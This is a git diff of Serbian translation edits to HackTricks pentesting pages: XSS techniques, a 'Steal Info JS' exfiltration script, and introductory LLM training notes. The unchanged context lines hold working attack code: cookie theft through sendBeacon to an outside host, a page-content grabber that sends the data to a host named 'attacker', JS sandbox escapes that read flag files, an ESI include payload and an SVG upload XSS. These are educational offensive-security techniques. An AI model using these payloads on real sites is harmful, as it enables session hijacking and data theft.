Poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno Location zaglavlje_, `resource://`.
|
Poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno Location zaglavlje_, `resource://`.
|
||||||
|
|
||||||
### Samo slova, brojevi i tačke
|
### Samo slova, brojevi i tačke
|
||||||
|
|
||||||
Ako ste u mogućnosti da naznačite **callback** koji će JavaScript **izvršiti** ograničeno na te karaktere. [**Pročitajte ovaj deo ovog posta**](./#javascript-function) da biste saznali kako da zloupotrebite ovo ponašanje.
|
Ako ste u mogućnosti da naznačite **callback** koji će javascript **izvršiti** ograničeno na te karaktere. [**Pročitajte ovaj deo ovog posta**](./#javascript-function) da biste saznali kako da zloupotrebite ovo ponašanje.
|
||||||
|
|
||||||
### Validni `<script>` Content-Types za XSS
|
### Validni `<script>` Content-Types za XSS
|
||||||
|
|
||||||
|
@ -866,7 +866,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||||
<script type="???"></script>
|
<script type="???"></script>
|
||||||
```
|
```
|
||||||
* **modul** (podrazumevano, nema potrebe za objašnjenjem)
|
* **modul** (podrazumevano, nema potrebe za objašnjenjem)
|
||||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles je funkcija koja vam omogućava da pakujete skup podataka (HTML, CSS, JS…) zajedno u **`.wbn`** datoteku.
|
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles je funkcija koja vam omogućava da pakujete gomilu podataka (HTML, CSS, JS…) zajedno u **`.wbn`** datoteku.
|
||||||
```html
|
```html
|
||||||
<script type="webbundle">
|
<script type="webbundle">
|
||||||
{
|
{
|
||||||
|
@ -924,7 +924,7 @@ Ovo ponašanje je korišćeno u [**ovoj analizi**](https://github.com/zwade/yaca
|
||||||
* application/rss+xml (isključeno)
|
* application/rss+xml (isključeno)
|
||||||
* application/atom+xml (isključeno)
|
* application/atom+xml (isključeno)
|
||||||
|
|
||||||
U drugim pregledačima mogu se koristiti drugi **`Content-Types`** za izvršavanje proizvoljnog JS, proverite: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
U drugim pregledačima drugi **`Content-Types`** mogu se koristiti za izvršavanje proizvoljnog JS, proverite: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||||
|
|
||||||
### xml Content Type
|
### xml Content Type
|
||||||
|
|
||||||
|
@ -942,7 +942,7 @@ Kada se koristi nešto poput **`"some {{template}} data".replace("{{template}}",
|
||||||
|
|
||||||
Na primer, u [**ovoj analizi**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), ovo je korišćeno da se **izbegne JSON string** unutar skripte i izvrši proizvoljan kod.
|
Na primer, u [**ovoj analizi**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), ovo je korišćeno da se **izbegne JSON string** unutar skripte i izvrši proizvoljan kod.
|
||||||
|
|
||||||
### Chrome Cache to XSS
|
### Chrome Cache do XSS
|
||||||
|
|
||||||
{% content-ref url="chrome-cache-to-xss.md" %}
|
{% content-ref url="chrome-cache-to-xss.md" %}
|
||||||
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
|
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
|
||||||
|
@ -950,7 +950,7 @@ Na primer, u [**ovoj analizi**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA),
|
||||||
|
|
||||||
### XS Jails Escape
|
### XS Jails Escape
|
||||||
|
|
||||||
Ako imate samo ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za probleme sa XSJail:
|
Ako imate samo ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za XSJail probleme:
|
||||||
```javascript
|
```javascript
|
||||||
// eval + unescape + regex
|
// eval + unescape + regex
|
||||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||||
|
@ -981,7 +981,7 @@ constructor(source)()
|
||||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||||
```
|
```
|
||||||
Ako je **sve neodređeno** pre izvršavanja nepouzdanog koda (kao u [**ovoj analizi**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), moguće je generisati korisne objekte "iz ničega" kako bi se zloupotrebilo izvršavanje proizvoljnog nepouzdanog koda:
|
Ako je **sve neodređeno** pre izvršavanja nepouzdanog koda (kao u [**ovoj analizi**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), moguće je generisati korisne objekte "iz ničega" kako bi se zloupotrebila izvršavanje proizvoljnog nepouzdanog koda:
|
||||||
|
|
||||||
* Korišćenjem import()
|
* Korišćenjem import()
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -996,7 +996,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||||
// our actual module code
|
// our actual module code
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
Zato, ako iz tog modula možemo **pozvati drugu funkciju**, moguće je koristiti `arguments.callee.caller.arguments[1]` iz te funkcije da pristupimo **`require`**:
|
Stoga, ako iz tog modula možemo **pozvati drugu funkciju**, moguće je koristiti `arguments.callee.caller.arguments[1]` iz te funkcije da pristupimo **`require`**:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -1043,7 +1043,7 @@ trigger()
|
||||||
```
|
```
|
||||||
### Obfuscation & Advanced Bypass
|
### Obfuscation & Advanced Bypass
|
||||||
|
|
||||||
* **Različite obfuscacije na jednoj stranici:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
* **Različite obfuskacije na jednoj stranici:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||||
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||||
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||||
|
@ -1115,10 +1115,10 @@ Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradite
|
||||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Nećete moći da pristupite kolačićima iz JavaScript-a ako je HTTPOnly zastavica postavljena u kolačiću. Ali ovde imate [neke načine da zaobiđete ovu zaštitu](../hacking-with-cookies/#httponly) ako imate sreće.
|
Nećete moći da pristupite kolačićima iz JavaScript-a ako je HTTPOnly oznaka postavljena u kolačiću. Ali ovde imate [neke načine da zaobiđete ovu zaštitu](../hacking-with-cookies/#httponly) ako imate sreće.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Ukradi sadržaj stranice
|
### Ukrao sadržaj stranice
|
||||||
```javascript
|
```javascript
|
||||||
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
|
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
|
||||||
var attacker = "http://10.10.14.8/exfil";
|
var attacker = "http://10.10.14.8/exfil";
|
||||||
|
@ -1131,7 +1131,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
|
||||||
xhr.open('GET', url, true);
|
xhr.open('GET', url, true);
|
||||||
xhr.send(null);
|
xhr.send(null);
|
||||||
```
|
```
|
||||||
### Pronađi interne IP adrese
|
### Pronađite interne IP adrese
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
var q = []
|
var q = []
|
||||||
|
@ -1324,7 +1324,7 @@ console.log(RegExp.input)
|
||||||
console.log(RegExp.rightContext)
|
console.log(RegExp.rightContext)
|
||||||
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
|
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
|
||||||
```
|
```
|
||||||
### Brute-Force Lista
|
### Lista Brute-Force
|
||||||
|
|
||||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
|
||||||
|
|
||||||
|
@ -1338,9 +1338,9 @@ Možete li ubrizgati Markdown kod koji će biti renderovan? Možda možete dobit
|
||||||
[xss-in-markdown.md](xss-in-markdown.md)
|
[xss-in-markdown.md](xss-in-markdown.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### XSS do SSRF
|
### XSS u SSRF
|
||||||
|
|
||||||
Imate XSS na **sajtu koji koristi keširanje**? Pokušajte **da to unapredite na SSRF** kroz Edge Side Include Injection sa ovim payload-om:
|
Imate XSS na **sajtu koji koristi keširanje**? Pokušajte **da to unapredite u SSRF** kroz Edge Side Include Injection sa ovim payload-om:
|
||||||
```python
|
```python
|
||||||
<esi:include src="http://yoursite.com/capture" />
|
<esi:include src="http://yoursite.com/capture" />
|
||||||
```
|
```
|
||||||
|
@ -1350,7 +1350,7 @@ Više informacija o ovoj tehnici ovde: [**XSLT**](../xslt-server-side-injection-
|
||||||
### XSS u dinamički kreiranim PDF-ovima
|
### XSS u dinamički kreiranim PDF-ovima
|
||||||
|
|
||||||
Ako web stranica kreira PDF koristeći korisnički kontrolisani unos, možete pokušati da **prevarite bot** koji kreira PDF da **izvrši proizvoljni JS kod**.\
|
Ako web stranica kreira PDF koristeći korisnički kontrolisani unos, možete pokušati da **prevarite bot** koji kreira PDF da **izvrši proizvoljni JS kod**.\
|
||||||
Dakle, ako **bot za kreiranje PDF-a pronađe** neku vrstu **HTML** **tagova**, on će ih **interpretirati**, i možete **iskoristiti** ovo ponašanje da izazovete **Server XSS**.
|
Dakle, ako **bot za kreiranje PDF-a pronađe** neku vrstu **HTML** **tagova**, on će ih **interpretirati**, a vi možete **iskoristiti** ovo ponašanje da izazovete **Server XSS**.
|
||||||
|
|
||||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||||||
|
@ -1368,11 +1368,11 @@ AMP, usmeren na ubrzanje performansi web stranica na mobilnim uređajima, uklju
|
||||||
|
|
||||||
Format [**AMP za Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) proširuje specifične AMP komponente na emailove, omogućavajući primaocima da interaguju sa sadržajem direktno unutar svojih emailova.
|
Format [**AMP za Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) proširuje specifične AMP komponente na emailove, omogućavajući primaocima da interaguju sa sadržajem direktno unutar svojih emailova.
|
||||||
|
|
||||||
Primer [**writeup XSS u Amp4Email u Gmail-u**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
Primer [**izveštaja o XSS u Amp4Email u Gmail-u**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||||
|
|
||||||
### XSS otpremanje fajlova (svg)
|
### XSS učitavanje fajlova (svg)
|
||||||
|
|
||||||
Otpremite kao sliku fajl poput sledećeg (sa [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
Učitajte kao sliku fajl poput sledećeg (sa [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||||
```markup
|
```markup
|
||||||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||||||
Content-Length: 574
|
Content-Length: 574
|
||||||
|
@ -1444,23 +1444,23 @@ Find **više SVG payloads u** [**https://github.com/allanlw/svg-cheatsheet**](ht
|
||||||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_tečno poljski pisano i govorno potrebno_).
|
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Podrška HackTricks</summary>
|
<summary>Podržite HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Podelite trikove za hakovanje slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,6 +1,8 @@
|
||||||
|
# Steal Info JS
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -13,8 +15,6 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
```javascript
|
```javascript
|
||||||
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
|
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
|
||||||
|
@ -123,13 +123,11 @@ window.onmessage = function(e){
|
||||||
exfil_info("onmessage", encode(e.data))
|
exfil_info("onmessage", encode(e.data))
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -2,11 +2,11 @@
|
||||||
|
|
||||||
## Pretreniranje
|
## Pretreniranje
|
||||||
|
|
||||||
Pretreniranje je osnovna faza u razvoju velikog jezičkog modela (LLM) gde je model izložen ogromnim i raznovrsnim količinama tekstualnih podataka. Tokom ove faze, **LLM uči osnovne strukture, obrasce i nijanse jezika**, uključujući gramatiku, rečnik, sintaksu i kontekstualne odnose. Procesuiranjem ovih opsežnih podataka, model stiče široko razumevanje jezika i opšteg znanja o svetu. Ova sveobuhvatna osnova omogućava LLM-u da generiše koherentan i kontekstualno relevantan tekst. Nakon toga, ovaj pretrenirani model može proći kroz fino podešavanje, gde se dodatno obučava na specijalizovanim skupovima podataka kako bi prilagodio svoje sposobnosti za specifične zadatke ili domene, poboljšavajući svoju efikasnost i relevantnost u ciljnim aplikacijama.
|
Pretreniranje je osnovna faza u razvoju velikog jezičkog modela (LLM) gde je model izložen ogromnim i raznovrsnim količinama tekstualnih podataka. Tokom ove faze, **LLM uči osnovne strukture, obrasce i nijanse jezika**, uključujući gramatiku, rečnik, sintaksu i kontekstualne odnose. Procesuiranjem ovih opsežnih podataka, model stiče široko razumevanje jezika i opšteg znanja o svetu. Ova sveobuhvatna osnova omogućava LLM-u da generiše koherentan i kontekstualno relevantan tekst. Nakon toga, ovaj prethodno trenirani model može proći kroz fino podešavanje, gde se dodatno obučava na specijalizovanim skupovima podataka kako bi prilagodio svoje sposobnosti za specifične zadatke ili oblasti, poboljšavajući svoju efikasnost i relevantnost u ciljnim aplikacijama.
|
||||||
|
|
||||||
## Glavne komponente LLM-a
|
## Glavne komponente LLM-a
|
||||||
|
|
||||||
Obično se LLM karakteriše konfiguracijom koja se koristi za njegovo obučavanje. Ovo su uobičajene komponente prilikom obučavanja LLM-a:
|
Obično se LLM karakteriše konfiguracijom koja se koristi za njegovo treniranje. Ovo su uobičajene komponente prilikom treniranja LLM-a:
|
||||||
|
|
||||||
* **Parametri**: Parametri su **učljive težine i pristrasnosti** u neuronskoj mreži. To su brojevi koje proces obuke prilagođava kako bi minimizirao funkciju gubitka i poboljšao performanse modela na zadatku. LLM-ovi obično koriste milione parametara.
|
* **Parametri**: Parametri su **učljive težine i pristrasnosti** u neuronskoj mreži. To su brojevi koje proces obuke prilagođava kako bi minimizirao funkciju gubitka i poboljšao performanse modela na zadatku. LLM-ovi obično koriste milione parametara.
|
||||||
* **Dužina konteksta**: Ovo je maksimalna dužina svake rečenice koja se koristi za pretreniranje LLM-a.
|
* **Dužina konteksta**: Ovo je maksimalna dužina svake rečenice koja se koristi za pretreniranje LLM-a.
|
||||||
|
@ -41,14 +41,14 @@ U PyTorch-u, **tenzor** je osnovna struktura podataka koja služi kao višedimen
|
||||||
|
|
||||||
### Tenzori kao kontejneri podataka
|
### Tenzori kao kontejneri podataka
|
||||||
|
|
||||||
Iz računarskog ugla, tenzori deluju kao kontejneri za višedimenzionalne podatke, gde svaka dimenzija može predstavljati različite karakteristike ili aspekte podataka. Ovo čini tenzore veoma pogodnim za rukovanje složenim skupovima podataka u zadacima mašinskog učenja.
|
Iz računarske perspektive, tenzori deluju kao kontejneri za višedimenzionalne podatke, gde svaka dimenzija može predstavljati različite karakteristike ili aspekte podataka. Ovo čini tenzore veoma pogodnim za rukovanje složenim skupovima podataka u zadacima mašinskog učenja.
|
||||||
|
|
||||||
### PyTorch tenzori vs. NumPy nizovi
|
### PyTorch tenzori vs. NumPy nizovi
|
||||||
|
|
||||||
Iako su PyTorch tenzori slični NumPy nizovima u svojoj sposobnosti da čuvaju i manipulišu numeričkim podacima, nude dodatne funkcionalnosti koje su ključne za duboko učenje:
|
Iako su PyTorch tenzori slični NumPy nizovima u svojoj sposobnosti da čuvaju i manipulišu numeričkim podacima, nude dodatne funkcionalnosti koje su ključne za duboko učenje:
|
||||||
|
|
||||||
* **Automatska diferencijacija**: PyTorch tenzori podržavaju automatsko izračunavanje gradijenata (autograd), što pojednostavljuje proces izračunavanja derivata potrebnih za obuku neuronskih mreža.
|
* **Automatska diferencijacija**: PyTorch tenzori podržavaju automatsko izračunavanje gradijenata (autograd), što pojednostavljuje proces izračunavanja derivata potrebnih za obuku neuronskih mreža.
|
||||||
* **GPU akceleracija**: Tenzori u PyTorch-u mogu se premestiti na i izračunati na GPU-ima, značajno ubrzavajući velike proračune.
|
* **GPU akceleracija**: Tenzori u PyTorch-u mogu se premestiti i izračunati na GPU-ima, značajno ubrzavajući velike proračune.
|
||||||
|
|
||||||
### Kreiranje tenzora u PyTorch-u
|
### Kreiranje tenzora u PyTorch-u
|
||||||
|
|
||||||
|
@ -117,7 +117,7 @@ result = tensor2d @ tensor2d.T
|
||||||
Tenzori su ključni u PyTorch-u za izgradnju i obučavanje neuronskih mreža:
|
Tenzori su ključni u PyTorch-u za izgradnju i obučavanje neuronskih mreža:
|
||||||
|
|
||||||
* Čuvaju ulazne podatke, težine i pristrasnosti.
|
* Čuvaju ulazne podatke, težine i pristrasnosti.
|
||||||
* Olakšavaju operacije potrebne za unapredne i unazadne prolaze u algoritmima obuke.
|
* Olakšavaju operacije potrebne za unapred i unazad prolaze u algoritmima obuke.
|
||||||
* Sa autograd-om, tenzori omogućavaju automatsko izračunavanje gradijenata, pojednostavljujući proces optimizacije.
|
* Sa autograd-om, tenzori omogućavaju automatsko izračunavanje gradijenata, pojednostavljujući proces optimizacije.
|
||||||
|
|
||||||
## Automatska Diferencijacija
|
## Automatska Diferencijacija
|
||||||
|
@ -132,7 +132,7 @@ U srcu automatske diferencijacije je **pravilo lanca** iz kalkulusa. Pravilo lan
|
||||||
|
|
||||||
Matematički, ako je `y=f(u)` i `u=g(x)`, tada je derivat `y` u odnosu na `x`:
|
Matematički, ako je `y=f(u)` i `u=g(x)`, tada je derivat `y` u odnosu na `x`:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**2. Računarska Grafika**
|
**2. Računarska Grafika**
|
||||||
|
|
||||||
|
@ -142,7 +142,7 @@ U AD, proračuni su predstavljeni kao čvorovi u **računarskoj grafici**, gde s
|
||||||
|
|
||||||
Razmotrimo jednostavnu funkciju:
|
Razmotrimo jednostavnu funkciju:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Gde:
|
Gde:
|
||||||
|
|
||||||
|
@ -154,11 +154,11 @@ Gde:
|
||||||
|
|
||||||
**4. Ručno Izračunavanje Gradijenata**
|
**4. Ručno Izračunavanje Gradijenata**
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**5. Numeričko Izračunavanje**
|
**5. Numeričko Izračunavanje**
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### Implementacija Automatske Diferencijacije u PyTorch-u
|
### Implementacija Automatske Diferencijacije u PyTorch-u
|
||||||
|
|
||||||
|
@ -214,7 +214,7 @@ U većim neuronskim mrežama sa više slojeva, proces izračunavanja gradijenata
|
||||||
|
|
||||||
Razmotrite jednostavnu neuronsku mrežu sa jednim skrivenim slojem:
|
Razmotrite jednostavnu neuronsku mrežu sa jednim skrivenim slojem:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### **4. PyTorch implementacija**
|
### **4. PyTorch implementacija**
|
||||||
|
|
||||||
|
|
|
@ -11,7 +11,7 @@ Za ovo se koristi mnogo slojeva, tako da će mnogo parametara za obuku hvatati o
|
||||||
|
|
||||||
### Razumevanje mehanizama pažnje
|
### Razumevanje mehanizama pažnje
|
||||||
|
|
||||||
U tradicionalnim modelima sekvenca-sekvenca koji se koriste za prevođenje jezika, model kodira ulaznu sekvencu u vektorski kontekst fiksne veličine. Međutim, ovaj pristup se suočava sa problemima sa dugim rečenicama jer fiksni vektorski kontekst možda neće uhvatiti sve potrebne informacije. Mehanizmi pažnje rešavaju ovo ograničenje omogućavajući modelu da razmatra sve ulazne tokene prilikom generisanja svakog izlaznog tokena.
|
U tradicionalnim modelima sekvenca-sekvenca koji se koriste za prevođenje jezika, model kodira ulaznu sekvencu u vektoru konteksta fiksne veličine. Međutim, ovaj pristup se suočava sa problemima sa dugim rečenicama jer fiksni vektor konteksta možda neće uhvatiti sve potrebne informacije. Mehanizmi pažnje rešavaju ovo ograničenje omogućavajući modelu da razmatra sve ulazne tokene prilikom generisanja svakog izlaznog tokena.
|
||||||
|
|
||||||
#### Primer: Mašinsko prevođenje
|
#### Primer: Mašinsko prevođenje
|
||||||
|
|
||||||
|
@ -47,17 +47,17 @@ Za svaku reč u rečenici, izračunajte **rezultat pažnje** u odnosu na "shiny"
|
||||||
|
|
||||||
**Rezultat pažnje između "Hello" i "shiny"**
|
**Rezultat pažnje između "Hello" i "shiny"**
|
||||||
|
|
||||||
